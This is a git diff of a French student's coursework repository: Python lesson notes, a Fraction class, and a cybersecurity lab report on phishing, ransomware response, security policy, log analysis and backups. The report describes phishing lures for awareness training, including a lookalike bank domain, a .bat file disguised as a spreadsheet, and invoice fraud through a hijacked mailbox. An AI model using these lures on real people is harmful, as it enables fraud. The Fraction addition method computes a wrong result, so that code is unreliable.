+objet.append({"titre": "Alice aux pays", "auteur": "Caroll"}) + +with open("livres.json", "w") as fichier_json: + json.dump(objet, fichier_json, indent= 4) +``` + +## Les classes + +### Méthodes "Dunder" + +- __init__ +- __repr__ \ No newline at end of file diff --git a/Semaine_04/Jour_04.md b/Semaine_04/Jour_04.md new file mode 100644 index 0000000..27e5f16 --- /dev/null +++ b/Semaine_04/Jour_04.md @@ -0,0 +1,14 @@ +## Front-End facile et rapide + +### QT Designer + +Créer une interface + +### PyQt6 + +```py +uv add pyqt6 +.\.venv\Scripts\activate +# Ensuite on récupère le fichier .ui créé par QT Designer et on le convertie n .py +pyuic6 .\gui\library.ui -o .\gui\ui_library.py +``` \ No newline at end of file diff --git a/Semaine_04/Jour_05.md b/Semaine_04/Jour_05.md new file mode 100644 index 0000000..bc68adf --- /dev/null +++ b/Semaine_04/Jour_05.md @@ -0,0 +1,26 @@ +## TYPE_CHECKING + +En cas d'import circulaire de dépendance, un conflit peut apparaitre : + +```py +# dans main.py : + +from classes.py import dependance_01 +``` + +```py +# dans classes.py : + +from main.py import dependance_02 +``` + +La lecture des fichiers par Python peut conduire à une boucle où chacun fichier lit l'autre et bloque sur un import. On utilise alors dans la dépendance secondaire : + +```py +# dans classes.py : + +if TYPE_CHECKING: + from main.py import dependance_02 +``` + +Pour sortir de la boucle. \ No newline at end of file diff --git a/Semaine_04/ProgOrObj/.python-version b/Semaine_04/ProgOrObj/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_04/ProgOrObj/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_04/ProgOrObj/README.md b/Semaine_04/ProgOrObj/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/ProgOrObj/fractions.py b/Semaine_04/ProgOrObj/fractions.py new file mode 100644 index 0000000..b0d7edc --- /dev/null +++ b/Semaine_04/ProgOrObj/fractions.py @@ -0,0 +1,59 @@ +import fractions + + +class Fraction: + numerator = 1 + denominator = 1 + + def __init__(self, numerator, denominator): + self.numerator = numerator + self.denominator = denominator + self.simplifier() + + def __mul__(self, factor: int | Self): + if isinstance(factor, int): + return Fraction( + numerator = self.numerator * factor, + denominator = self.denominator + ) + return Fraction( + numerator = self.numerator * factor.numerator, + denominator = self.denominator * factor.denominator + ) + + def __rmul__(self, number: int): + return self.__mul__(number) + + def quotient(self): + """[Fraction] Chiffre sur Chiffre""" + return self.numerator / self.denominator + + def plus(self, fraction): + """[Fraction] Addition de deux fractions""" + num = (self.numerator * self.denominator) + (self.denominator + fraction.numerator) + den = self.denominator * fraction.denominator + return Fraction(numerator= num, denominator= den) + + @staticmethod + def pgcd( a, b): + """Calcul du PGCD de deux entiers naturels""" + if b == 0:return a + return Fraction.pgcd(a= b, b= a % b) + + def simplifier(self): + a = self.numerator + b = self.denominator + pgcd = Fraction.pgcd(a, b) + + self.numerator = self.numerator // pgcd # // force la division à ne PAS donner de float + self.denominator //= pgcd # C'est la même chose que dessus + + def __repr__(self): + return f"Fraction({self.numerator}/{self.denominator})" + +tiers = Fraction(numerator= 1, denominator= 3) +quart = Fraction(1, 4) + +fraction = tiers.plus(quart) +print(fraction) + diff --git a/Semaine_04/ProgOrObj/fractions_theorie.py b/Semaine_04/ProgOrObj/fractions_theorie.py new file mode 100644 index 0000000..6d3fb8b --- /dev/null +++ b/Semaine_04/ProgOrObj/fractions_theorie.py @@ -0,0 +1,38 @@ +from pprint import pprint + +prenom = "John" # crée une instance (obj) de type 'str' et l'initialise avec la valeur 'John' +nom = str('Doe') # crée une instance (obj) de type 'str' et l'initialise avec la valeur 'Doe' +adress = str() # crée une instance (obj) de type 'str' + +# list, dict, tuple, set, bool => types primitives + +class Fraction: # pour se differencier des types primitifs + numerateur = 1 + denominateur = 1 + + def quotient(self): # self = tiers /quart + return self.numerateur / self.denominateur + +tiers = Fraction() # crée une instance (obj) de type 'Fraction' +tiers.numerateur = 1 +tiers.denominateur = 3 +quart = Fraction() +quart.numerateur = 1 +quart.denominateur = 4 + +print(tiers.__dict__) +print(quart.__dict__) + +# Mapping proxy +# pprint(Fraction.__dict__) +# pprint(tiers.__dict__) +# print(tiers.denominateur) + +# 2 points de vue: Fraction (classe) et tiers (objet) +print(Fraction.quotient) # +print(tiers.quotient) # > +# + +print(tiers.quotient()) # TypeError: Fraction.dire_bonjour() takes 0 positional arguments but 1 was given +# Les methodes lies aux objets ont besoin de savoir QUI les a appeler +print(quart.quotient()) \ No newline at end of file diff --git a/Semaine_04/ProgOrObj/main.py b/Semaine_04/ProgOrObj/main.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_04/ProgOrObj/pyproject.toml b/Semaine_04/ProgOrObj/pyproject.toml new file mode 100644 index 0000000..f732692 --- /dev/null +++ b/Semaine_04/ProgOrObj/pyproject.toml @@ -0,0 +1,7 @@ +[project] +name = "progorobj" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [] diff --git a/Semaine_04/ProgOrObj/uv.lock b/Semaine_04/ProgOrObj/uv.lock new file mode 100644 index 0000000..215c721 --- /dev/null +++ b/Semaine_04/ProgOrObj/uv.lock @@ -0,0 +1,8 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "progorobj" +version = "0.1.0" +source = { virtual = "." } diff --git a/Semaine_04/support_cours_python.zip b/Semaine_04/support_cours_python.zip new file mode 100644 index 0000000..704a2f6 Binary files /dev/null and b/Semaine_04/support_cours_python.zip differ diff --git a/Semaine_04/support_cours_python/01_introduction.pdf b/Semaine_04/support_cours_python/01_introduction.pdf new file mode 100644 index 0000000..0dc739f Binary files /dev/null and b/Semaine_04/support_cours_python/01_introduction.pdf differ diff --git a/Semaine_04/support_cours_python/02_installation.pdf b/Semaine_04/support_cours_python/02_installation.pdf new file mode 100644 index 0000000..4ebfe61 Binary files /dev/null and b/Semaine_04/support_cours_python/02_installation.pdf differ diff --git a/Semaine_04/support_cours_python/03_les_types.pdf b/Semaine_04/support_cours_python/03_les_types.pdf new file mode 100644 index 0000000..548a88b Binary files /dev/null and b/Semaine_04/support_cours_python/03_les_types.pdf differ diff --git a/Semaine_04/support_cours_python/04_structures_controles.pdf b/Semaine_04/support_cours_python/04_structures_controles.pdf new file mode 100644 index 0000000..aef8f90 Binary files /dev/null and b/Semaine_04/support_cours_python/04_structures_controles.pdf differ diff --git a/Semaine_04/support_cours_python/05_les_fonctions.pdf b/Semaine_04/support_cours_python/05_les_fonctions.pdf new file mode 100644 index 0000000..118d62f Binary files /dev/null and b/Semaine_04/support_cours_python/05_les_fonctions.pdf differ diff --git a/Semaine_04/support_cours_python/06_modules.pdf b/Semaine_04/support_cours_python/06_modules.pdf new file mode 100644 index 0000000..41f07a5 Binary files /dev/null and b/Semaine_04/support_cours_python/06_modules.pdf differ diff --git a/Semaine_04/support_cours_python/07_tp_1_pendu.pdf b/Semaine_04/support_cours_python/07_tp_1_pendu.pdf new file mode 100644 index 0000000..589f8e6 Binary files /dev/null and b/Semaine_04/support_cours_python/07_tp_1_pendu.pdf differ diff --git a/Semaine_04/support_cours_python/07_tp_1_pendu_correction.pdf b/Semaine_04/support_cours_python/07_tp_1_pendu_correction.pdf new file mode 100644 index 0000000..2bff54c Binary files /dev/null and b/Semaine_04/support_cours_python/07_tp_1_pendu_correction.pdf differ diff --git a/Semaine_04/support_cours_python/08_typage_dynamique.pdf b/Semaine_04/support_cours_python/08_typage_dynamique.pdf new file mode 100644 index 0000000..b2985ab Binary files /dev/null and b/Semaine_04/support_cours_python/08_typage_dynamique.pdf differ diff --git a/Semaine_04/support_cours_python/09_manipulation_dates.pdf b/Semaine_04/support_cours_python/09_manipulation_dates.pdf new file mode 100644 index 0000000..c66969a Binary files /dev/null and b/Semaine_04/support_cours_python/09_manipulation_dates.pdf differ diff --git a/Semaine_04/support_cours_python/10_manipulation_fichiers.pdf b/Semaine_04/support_cours_python/10_manipulation_fichiers.pdf new file mode 100644 index 0000000..e52ba71 Binary files /dev/null and b/Semaine_04/support_cours_python/10_manipulation_fichiers.pdf differ diff --git a/Semaine_04/support_cours_python/11_poo.pdf b/Semaine_04/support_cours_python/11_poo.pdf new file mode 100644 index 0000000..39860db Binary files /dev/null and b/Semaine_04/support_cours_python/11_poo.pdf differ diff --git a/Semaine_04/support_cours_python/12_gestion_exceptions.pdf b/Semaine_04/support_cours_python/12_gestion_exceptions.pdf new file mode 100644 index 0000000..5ca36af Binary files /dev/null and b/Semaine_04/support_cours_python/12_gestion_exceptions.pdf differ diff --git a/Semaine_04/support_cours_python/13_methodes_statiques_classes.pdf b/Semaine_04/support_cours_python/13_methodes_statiques_classes.pdf new file mode 100644 index 0000000..67c05c1 Binary files /dev/null and b/Semaine_04/support_cours_python/13_methodes_statiques_classes.pdf differ diff --git a/Semaine_04/support_cours_python/14_heritage_composition.pdf b/Semaine_04/support_cours_python/14_heritage_composition.pdf new file mode 100644 index 0000000..556cc7c Binary files /dev/null and b/Semaine_04/support_cours_python/14_heritage_composition.pdf differ diff --git a/Semaine_04/support_cours_python/15_methodes_magiques.pdf b/Semaine_04/support_cours_python/15_methodes_magiques.pdf new file mode 100644 index 0000000..f3ac345 Binary files /dev/null and b/Semaine_04/support_cours_python/15_methodes_magiques.pdf differ diff --git a/Semaine_04/support_cours_python/16_librairies_python.pdf b/Semaine_04/support_cours_python/16_librairies_python.pdf new file mode 100644 index 0000000..bd0f697 Binary files /dev/null and b/Semaine_04/support_cours_python/16_librairies_python.pdf differ diff --git a/Semaine_05/Jour_01.md b/Semaine_05/Jour_01.md new file mode 100644 index 0000000..1931321 --- /dev/null +++ b/Semaine_05/Jour_01.md @@ -0,0 +1,18 @@ +# Cybersécurité + +## Grands principes + +**CIA** + +- Confidentialité +- Intégrité +- Availability (Disponibilité) + +## Principes complémentaires + +- Traçabilité +- Authentification +- Non-Répudiation +- Prévention +- Détection +- Réaction \ No newline at end of file diff --git a/Semaine_05/Jour_01/Gauvain_BOICHE_Compte_rendu_Lab_1&2.pdf b/Semaine_05/Jour_01/Gauvain_BOICHE_Compte_rendu_Lab_1&2.pdf new file mode 100644 index 0000000..fed57b5 Binary files /dev/null and b/Semaine_05/Jour_01/Gauvain_BOICHE_Compte_rendu_Lab_1&2.pdf differ diff --git a/Semaine_05/Jour_01/Lab01_Kali.pdf b/Semaine_05/Jour_01/Lab01_Kali.pdf new file mode 100644 index 0000000..4a2ad38 Binary files /dev/null and b/Semaine_05/Jour_01/Lab01_Kali.pdf differ diff --git a/Semaine_05/Jour_01/Lab02_Decouverte_exploit.pdf b/Semaine_05/Jour_01/Lab02_Decouverte_exploit.pdf new file mode 100644 index 0000000..41b2171 Binary files /dev/null and b/Semaine_05/Jour_01/Lab02_Decouverte_exploit.pdf differ diff --git a/Semaine_05/Jour_01/Module01.pdf b/Semaine_05/Jour_01/Module01.pdf new file mode 100644 index 0000000..78864f4 Binary files /dev/null and b/Semaine_05/Jour_01/Module01.pdf differ diff --git a/Semaine_05/Jour_01/Module02.pdf b/Semaine_05/Jour_01/Module02.pdf new file mode 100644 index 0000000..f0bcd14 Binary files /dev/null and b/Semaine_05/Jour_01/Module02.pdf differ diff --git a/Semaine_05/Jour_02/Gauvain_BOICHE_Compte_rendu_Lab_3.pdf b/Semaine_05/Jour_02/Gauvain_BOICHE_Compte_rendu_Lab_3.pdf new file mode 100644 index 0000000..c2ab844 Binary files /dev/null and b/Semaine_05/Jour_02/Gauvain_BOICHE_Compte_rendu_Lab_3.pdf differ diff --git a/Semaine_05/Jour_02/Lab03_HackTheBox.pdf b/Semaine_05/Jour_02/Lab03_HackTheBox.pdf new file mode 100644 index 0000000..6fac0d3 Binary files /dev/null and b/Semaine_05/Jour_02/Lab03_HackTheBox.pdf differ diff --git a/Semaine_05/Jour_02/Lab03_HackTheBoxV2.pdf b/Semaine_05/Jour_02/Lab03_HackTheBoxV2.pdf new file mode 100644 index 0000000..7015c16 Binary files /dev/null and b/Semaine_05/Jour_02/Lab03_HackTheBoxV2.pdf differ diff --git a/Semaine_05/Jour_03/Gauvain_BOICHE_Compte_rendu_Lab_4.md b/Semaine_05/Jour_03/Gauvain_BOICHE_Compte_rendu_Lab_4.md new file mode 100644 index 0000000..3070388 --- /dev/null +++ b/Semaine_05/Jour_03/Gauvain_BOICHE_Compte_rendu_Lab_4.md @@ -0,0 +1,365 @@ +# Laboratoire 04 - Gauvain BOICHÉ - 11/02/2026 + +## Hameçonnage + +Les exemples ne manquent pas. Banque, client, ami, femme très chaude dans ma région... bref. De mon expérience professionnelle, l'hameçonnage "Service IT" est un fléau bien réel. + +Je vais générer de faux courriels d'hameçonnage avec l'outil [Email Screenshot Generator](https://scottgriv.github.io/Email-Screenshot-Generator/). + +### La Banque + +![Courriel Crédit Agricole](image.png) + +Classique des courriels génériques, s'appuyant sur divers leviers : + +- la peur (fermeture des comptes en 2 jours) +- le côté officiel (credlt-agricole.fr) +- la personnalisation (Prénom + Nom) + +Le lien emmènera vers "https://shatrzzaer.amstrack.ru/credit-agricole.php" et le client ne verra rien, la page sera un clone parfait du Crédit Agricole. + +#### Détection + +* l'adresse courriel => credlt-agricole.fr et pas credit-agricole.fr, mais là comme ça, on s'en rend pas compte forcément tout de suite +* le côté urgent +* l'hyperlien louche + +Le nom de domaine n'étant pas spécialement usurpé, le filtre à hameçonnage ne se déclanche pas forcément et demande une vigilance spécifique. + +#### Vérifications + +* Survoler l'hyperlien et regarder la racine +* Aller depuis un moteur de recherche ou un favori sur la page de connexion de la banque et vérifier sa messagerie interne +* Contacter par téléphone sa banque et/ou son conseiller pour contre-vérifier + +### Le collègue + +![Courriel de John BIGBOSS](image-1.png) + +Des variantes existent : l'ouverture d'un fichier, d'un lien pour signer un document alléchant (parts dans la boîte), urgent (document RH ou lié au travail), demande de service ("j'ai besoin de régler une transaction en bitcoin, peux-tu aller acheter des coupons TransCash ?") etc. + +Les leviers sont là encore très humains : + +- le côté hiérarchique (c'est le patron et on est un soumis) +- le côté urgent ("c'est urgents") +- les possibilités ("si j'aide le patron, il s'en souviendra à la prochaine revue de performances...") + +#### Détection + +En soit, les gros fournisseurs de services courriels détectent les scripts/codes et bloquent les réceptions. J'ai envoyé de vrais pièces de code légitimes à des collègues et je me suis fait bloquer les envois, faute d'avoir de clients de messagerie instantanée à disposition. Mais partons du principe que le courriel a été reçu. + +* le fichier => majoritairement, les gens sont sur Windows, et la majorité des utilisateurs Windows ont l'option "afficher l'extension dont le type est connu" décoché et ne verront donc pas le .bat, juste le .xlsx, auquel il suffit de coller une icône d'Excel. C'est facile. +* le côté urgent +* l'addresse courriel qui est extérieure. Pourquoi pas depuis une adresse d'entreprise ? +* les fautes (cela dit, quand je vois comment écrivent certains chefs/clients/grands avocats, ce n'est plus tellement une cause de détection...) + +#### Vérifications + +* Le mieux c'est d'aller contacter le patron, soit par messagerie instantanée, soit par téléphone, soit en levant son derrière de sa chaise et en traversant le couloir pour aller demander + +### Le client/fournisseur + +![Courriel d'une fournisseuse](image-2.png) + +Celui-là est vache et correspond à du vécu. On parle de préjudices par dizaines de milliers d'euros chaque semaine. + +Tout est plutôt crédible : + +- la personnalisation => nom, mais aussi date précise, référence précise, termes précis +- pièce jointe légitime => le PDF est vrai +- ton formel et attendu +- compte de virement crédible => IBAN français, nom de la personne qui est le bon + +#### Détection + +Tout est quasi parfait, et la vérification demande de l'instinct. Le compte n'a à-priori rien d'anormal. Et pourtant : c'est un compte Nickel. N'importe qui peut ouvrir un compte sous n'importe quel nom, puisque ce droit au compte bancaire universel n'exige pas de carte d'identité ni d'adresse. Il s'ouvre en bureau de tabac en 1 heure à peine. Pas de traces, rien. Le virement se fait, mais sur le mauvais compte. + +#### Vérifications + +Il faut utiliser, si on en a le réflexe, un "Iban checker" et s'alerter de la banque retournée. + +Si on appele madame AL MANSOUR, elle répondra qu'elle a bien envoyé la facture à l'heure correspondante. Rien d'anormal alors. SAUF QUE, ce qu'elle ne sait pas, c'est que sa boîte a été compromise. + +Elle-même victime d'un hameçonnage passé, le pirate a son mot de passe, une instance IMAP sur son PC, et que chaque courriel envoyé est systématiquement supprimé, et renvoyé DEPUIS SA BOÎTE LÉGITIME avec le nouvel IBAN. + +Il peut se passer des mois avant qu'on ne s'en aperçoive. Généralement quand les comptables signalent qu'un virement n'a pas été reçu, et que madame AL MANSOUR appellera le client pour lui demander de régler la facture : + +- On l'a déjà réglée. +- Oui mais nous n'avons rien reçu. +- On a fait le virement tel jour sur tel compte. +- Quel compte ? +- Oh. + +### Former les gens + +- il n'y a pas de mystère. Contourner une sécurité informatique, c'est toujours possible. Et des sécurités trop fortes peuvent même bloquer des courriels légitimes, et porter atteinte au commerce. +- il faut former les gens encore et encore, répéter encore et encore les mêmes infos, et organiser des campagnes d'hameçonnages avec des partenaires dédiés. La faille c'est l'humain. C'est l'humain qu'il faut entraîner. + +## Attaque rançongiciel + +### L'attaque + +Pièce jointe vérolée, site douteux sur le lieu de travail, propagation par ver... les vecteurs ne manquent pas. Toujours est-il qu'on est tombé, il faut maintenant se relever. + +### La réaction + +"confidential_data.docx" est crypté, et une demande de rançon est demandée. + +#### Premières étapes + +1. Débrancher le PC infecté du réseau pour l'isoler +2. Conduire un audit interne (vérification des PCs avec en parallèle reconstruction d'une ligne temporelle de l'attaque) pour vérifier l'état de propagation + +#### Secondes étapes + +1. Désinfection du poste +2. Vérifier l'état de sauvegarde du document (sauvegarde dans un service nuagique) +3. Vérifier l'état de sauvegarde du poste (TimeMachine, Point de Restauration, Snapshot, etc) + +### Ne pas faire + +1. Laisser le PC connecté au réseau interne +2. Payer la rançon : + - les bandits n'ont pas forcément de clef de décryptage + - on se fait ficher comme "un bon client" et on va être de nouveau victime + - aux yeux de la loi, peut valoir comme "financement du terrorisme". On préfère éviter... +3. Engueuler le rançonné. C'est mieux d'avoir sa confiance et sa collaboration plutôt que ne pas le laisser assumer sereinement et passer à côté d'informations cruciales. + +### A faire + +1. Utiliser des outils dédiés pour la désinfection +2. Utiliser un service de protection antivirus en temps réel avec capacités de détection de comportement +3. Faire une copie 3-2-1 régulière (au moins mensuelle) des données sensibles, simple sauvegarde du poste pour les utilisateurs finaux +4. Utiliser un pare-feu sévère qui bloque les sites malveillants (établis et potentiels) + +## Atelier de la politique de sécurité + +### Politique de sécurité informatique + +Les utilisateurs seront amenés à manipuler des appareils électroniques dans l'exercice de leur fonction. Par conséquent, et pour l'hygiène informatique de l'entreprise : + +- il est interdit d'employer sur le réseau interne tout appareil électronique qui n'a pas été fourni à cet effet +- il est interdit de connecter sur tout appareil de l'entreprise un équipement venu de l'extérieur +- il est interdit de procéder à la connexion intermittente d'appareils nomades (exemples non exhaustifs : clefs USB, disques durs externes, smartphones, écouteurs à connexion numérique, vapoteuses, etc) + +Pour respecter la confidentialité des informations, merci aussi de respecter les préconisations suivantes : + +- ne pas utiliser votre terminal professionnel sur un réseau ouvert au public +- garder toujours en vue votre matériel informatique dans une poche fermée, même en espace fermé +- verrouiller votre session à chaque départ de l'écran, avec mot de passe ou identification biométrique activé +- utiliser, si un usage en public le demande, un filtre de confidentialité sur vos écrans + +#### Usage des logiciels + +Pour garder une sécurité du réseau suffisante, l'environnement logiciel doit être contrôlé. Aussi, les utilisateurs s'engagent : + +- à utiliser un mot de passe unique et temporaire pour se connecter à la session répondant aux exigences minimales de sécurité (12 caractères alphanumérique sans répétition ni reprise partielle des anciens mots de passe) +- à utiliser le tunnel VPN par certificat fourni à son arrivée pour la connexion au réseau interne +- à utiliser des comptes de session enregistrés sur l'annuaire de l'entreprise (LDAP) +- à mettre à jour logiciels et poste de travail dès qu'une notification lui demande, toute affaire cessante +- à n'utiliser que les logiciels présents dans le catalogue applicatif interne (disponible via notre outil IT spécialisé) +- à ne pas utiliser de logiciels téléchargés/compilés depuis une source non approuvée +- à ne pas utiliser d'accès non vérifiés et non approuvés par la chaîne d'approbation (exemples non exhaustifs : clefs APIs, jetons de connexion, compte partagé, etc) +- à ne pas télécharger d'extentions de logiciels non approuvés ou ne venant pas des éditeurs officiels et/ou reconnus + +Pour la bonne marche de l'entreprise, il peut être nécessaire d'utiliser des outils annexes. Aussi : + +- chaque logiciel hors-catalogue devra faire l'objet d'une approbation préalable par vos supérieurs et le département IT en utilisant le formulaire aggréé +- les accès administrateurs ne seront dispensés que temporairement et sur demande au service IT + +#### En cas de besoin + +Merci de contacter le service IT en cas de doute ou de demande particulière. + +### Gestion des incidents + +En cas d'incident, une ligne de communication d'urgence est à disposition : + +- soit par le Portail accessible de l'extérieur avec authentification par mot de passe à usage unique envoyé sur le courriel personnel renseigné le jour de l'entrée dans les effectifs de l'entreprise +- soit par téléphone sur la ligne interne +- soit par téléphone sur un numéro international en cas de déplacement +- soit par messagerie privée WhatsApp pour être mis en relation avec un Chatbot redirectif + +#### Mise en place interne + +Le service IT se compose de différents canaux de communication : + +- Chatbot WhatsApp pour la création de tickets (`@Assistance_CybershieldIT`) +- Adresse courriel pour la création directe de tickets (`assistance@cybershield-it.fr`) +- Hotline basée en France **8h-20h - 5j/7** (`+33.(0)1.23.45.67.89`) + +Equipe de 4 personnes (_1 SysAdmin, 2 Tech IT et 1 alternant/stagiaire pour 85 personnes au siège_). Le SysAdmin ne prend pas d'appel téléphonique mais est d'astreinte soir et WE sur les tickets P1 par courriel. + +#### Politique de sécurité technique + +- annuaire `LDAP` (`OpenLDAP` ou `Windows AD DS`) avec mots de passe à changer tous les 3 mois, 12 caractères [A-Z0-9@-!] + +## Tests de mots de passe + +Les 4 sont nuls. + +### Générer des mots de passe forts + +Avec [Bitwarden Password Generator](https://bitwarden.com/password-generator/) : + +- `eoHHt&5mT4QgAu7f` +- `5%Gtg5c5DFSBUeyV` +- `C5hk#zV!TBAvSYFx` +- `jJGj26p$ATff5Sdj` + +12 caractères, c'est devenu trop faible. 16 est le nouveau minimum. + +### Mon usage perso + +J'utilise `ProtonPass`, très utile, intégré avec le plan Proton Unlimited que j'ai : + +- générateur de mots de passe forts +- gestionnaire d'accès, de clefs SSH, d'ID, de documents, champs personnalisés : +![Basiques](image-3.png) +![Autres](image-4.png) +- intégration d'un moniteur "Dark Web" pour les fuites de mots de passe +- intégration de "SimpleLogin" créant des adresses courriel tampon, très pratique : +![Exemple alias](image-5.png) +- Intégration 2FA +- Auto-remplissage intelligent (évite les champs "parasites") et auto-fermeture après 10 minutes (paramétrable) +- Application mobile + extensions navigateur pour un nomadisme total + +Quand à éduquer les employés... j'ai essayé. Des années. Sans succès. Maintenant je laisse les gens pleurer sur leur sort en cas de piratage. Je suis pas "L'informatique du coeur". + +## Analyse des logs de sécurité + +### Logs fournis + +``` +192.168.1.100 - - [19/Mar/2025:14:45:32 +0000] "GET /admin HTTP/1.1" 403 500 "-" "Mozilla/5.0" +192.168.1.101 - - [19/Mar/2025:14:45:33 +0000] "GET /login HTTP/1.1" 200 1200 "-" "Mozilla/5.0" +192.168.1.102 - - [19/Mar/2025:14:45:35 +0000] "POST /login HTTP/1.1" 200 1500 "login_page" "Mozilla/5.0" +``` + +### Ce qu'ils indiquent + +Nous avons trois requêtes HTTP classiques : deux `GET` et un `POST`. + +Le `GET` récupère l'information, `POST` la publie. A 3 secondes d'intervalle, c'est un bot automatique qui sonde le site (appelé en général "crawler", parce qu'il "rampe" sur le site) et essaye d'abord la page `/admin` puis `/login`. + +On voit une erreur 403 (Accès refusé/interdit) sur `/admin` mais un code 200 (succès) sur `/login`, aussi tente-t-il de rentrer des informations de connexion (sans doute les mots de passe par défaut) pour voir quels sites sont exploitables. + +### Ce qu'il convient de faire + +Le mieux est d'avoir un utilitaire type `fail2ban` qui va récupérer les IPs avec 5 tentatives échouées de connexion pour les bannir pendant 24 heures. Ici il s'agit d'une IP locale, donc soit c'est un test interne et on évite de bannir (sauf pour tester l'outil de bannissement), soit c'est un malin connecté en local et on bannit d'office. + +### En quoi est-ce important + +Les logs c'est la séquence ADN de l'informatique : tout ce qui s'y trouve explique ce qui se passe et s'est passé. C'est essentiel pour retracer un historique et identifier des schémas d'action. + +### Comment les configurer + +Le mieux c'est d'avoir un moniteur dédié (auto-hébergé comme un couple `Prometheus`/`Grafana`) ou prendre une solution clefs en main genre `Datadog`, et composer des moniteurs chargés de relever des alertes si une chaîne **REGEX** se déclenche trop souvent/en trop grande variation avec les périodes ordinaires. + +## Stratégie de sauvegarde + +### 3-2-1 + +La plus connue, et pour de bonnes raisons. + +- 3 sauvegardes différentes +- 2 supports différents +- 1 sauvegarde froide hors-site + +Clair, net, précis. + +### Plan de Reprise après Sinistre + +C'est long de faire un `PRS` (_DRP_ en anglais) et ça a été suffisamment pénible en entreprise pour ne pas en refaire un fictif :3 + +Néanmoins, voici les grandes étapes : + +1. Identifier les services critiques (P1) +2. Identifier les services non-critiques et les classer par criticité relative (P2, P3, P4) +3. Identifier la _pipeline_ de production pour savoir quel flux est réalisé +4. Sauvegarder les services selon criticité +5. Avoir un plan de relance des services dans le bon ordre pour rétablir les services critiques en premier +6. Avoir un fournisseur de postes de travail ou de composants réactif (genre pour changer des disques durs en livraison 24h) + +### Les méthodes de sauvegarde + +- En local sur un réseau séparé (simple disque partagé sur un VLAN) +- En local avec un logiciel dédié (`Datto`, `OOdrive`, `VEEAM`, etc) +- Dans le nuage avec des services intégrés (`OneDrive`, `iDrive`) +- Dans le nuage avec des services tiers (`ProtonDrive`, `IceDrive`, `pCloud`, `MEGA`, etc) +- Depuis un support externe (disque dur unique racheté chaque mois et stocké en armoire au domicile personnel du patron) + +### Les impacts d'une mauvaise sauvegarde + +1. Perte de fichiers clients + - clients mécontents + - réputation qui baisse + - faillite + - crise, larmes, ~~suicide~~ +2. Perte de facturation + - clients et fournisseurs mécontents + - justifications URSSAF perdues + - redressement judiciaire + - réputation en baisse + - chômage, misère, déprime, bière en cannettes, jonglage devant un LIDL +3. Perte de matériel + - chômage technique + - délais de livraison étendus + - réputation en baisse + - perte de chiffre d'affaire + - ~~Licenciements massifs~~ **Plan de Sauvegarde de l'Emploi** + - Syndrome de l'imposteur, crise, détestation, fourches, torches, ~~guillottine~~ + +## Incidents + +### Scénario + +> Une attaque par malware a compromis un serveur critique. Les employés signalent des ralentissements dans le système et des fichiers suspects. + +### Identification + +Ralentissements ? Fichiers suspects ? + +1. `Ransomware` + - les ralentissements sont peut-être causés par le chiffrement des fichiers + - l'apparition des "fichiers suspects" peut être la transformation des fichiers en leur contrepartie chiffrée +2. `Mineur de cryptomonnaies` + - les ralentissements sont peut-être causés par le hashage des cryptomonnaies + - les fichiers suspects... je ne l'explique pas dans ce contexte + +#### Identifier en amont + +1. Regarder les alertes des antivirus locaux ou des `EDR`/`WAF`/`SIEM` en place +2. Regarder les processus anormaux en tâche de fond +3. Récupérer des fichiers infectés et les faire tourner en environnement bac à sable +4. Etudier les logs pour obtenir des adresses IP, des noms de fichier, etc +5. J'ai lu une fois qu'on pouvait retracer l'identité du virus en calculant l'empreinte hachée d'un fichier infecté (à tester) + +### Contention + +1. Isoler les postes infectés (déconnexion physique, mais les laisser tourner !) +2. Isoler les serveurs infectés (déconnecter les câbles physiques, mais encore une fois, les laisser tourner !) +3. Analyser les journaux du système et du pare-feu + +### Récupération + +1. S'assurer d'avoir purgé les postes de l'infection +2. Vérifier les temps des sauvegardes et en prendre une "propre" +3. Si doute, changer les disques durs et réinstaller selon le **PRS** (_DRP_) + +### Post-Mortem + +1. Etablir la ligne temporelle de l'attaque + 1. Cause principale + 2. Les services infectés + 3. L'arrêt de l'attaque et le début de la restauration +2. Récupération + 1. Suivi du PRS + 2. État des services récupérés +3. Les actions à prendre pour éviter une récidive + +### Les outils pour analyser un incident + +- un `SIEM` (_Security Information and Event Manager_) => personnellement j'utilise Wazuh, qui fait SIEM et XDR en une instance, en open-source et auto-hébergé. +- un outil `Forensic` => je lis qu'on peut utiliser `Forensic` et `Autopsy`, pour analyser respectivement la RAM (c'est pour ça qu'on n'éteint pas les machines infectées tout de suite !) et les Disques Durs. +- un analyseur réseau => `Wireshark` s'il tourne en fond au moment de l'attaque, ou si on le laisse tourner sur un PC infecté pour vérifier les paquets en (tentative de) transmission. \ No newline at end of file diff --git a/Semaine_05/Jour_03/Gauvain_BOICHE_Compte_rendu_Lab_4.pdf b/Semaine_05/Jour_03/Gauvain_BOICHE_Compte_rendu_Lab_4.pdf new file mode 100644 index 0000000..b3827f8 Binary files /dev/null and b/Semaine_05/Jour_03/Gauvain_BOICHE_Compte_rendu_Lab_4.pdf differ diff --git a/Semaine_05/Jour_03/Lab04-AnalyseCyber.pdf b/Semaine_05/Jour_03/Lab04-AnalyseCyber.pdf new file mode 100644 index 0000000..a12ab99 Binary files /dev/null and b/Semaine_05/Jour_03/Lab04-AnalyseCyber.pdf differ diff --git a/Semaine_05/Jour_03/Lab04-AnalyseCyber_Entreprise.pdf b/Semaine_05/Jour_03/Lab04-AnalyseCyber_Entreprise.pdf new file mode 100644 index 0000000..f592e6f Binary files /dev/null and b/Semaine_05/Jour_03/Lab04-AnalyseCyber_Entreprise.pdf differ diff --git a/Semaine_05/Jour_03/image-1.png b/Semaine_05/Jour_03/image-1.png new file mode 100644 index 0000000..e92e885 Binary files /dev/null and b/Semaine_05/Jour_03/image-1.png differ diff --git a/Semaine_05/Jour_03/image-2.png b/Semaine_05/Jour_03/image-2.png new file mode 100644 index 0000000..f770c6f Binary files /dev/null and b/Semaine_05/Jour_03/image-2.png differ diff --git a/Semaine_05/Jour_03/image-3.png b/Semaine_05/Jour_03/image-3.png new file mode 100644 index 0000000..13611d7 Binary files /dev/null and b/Semaine_05/Jour_03/image-3.png differ diff --git a/Semaine_05/Jour_03/image-4.png b/Semaine_05/Jour_03/image-4.png new file mode 100644 index 0000000..e5bab88 Binary files /dev/null and 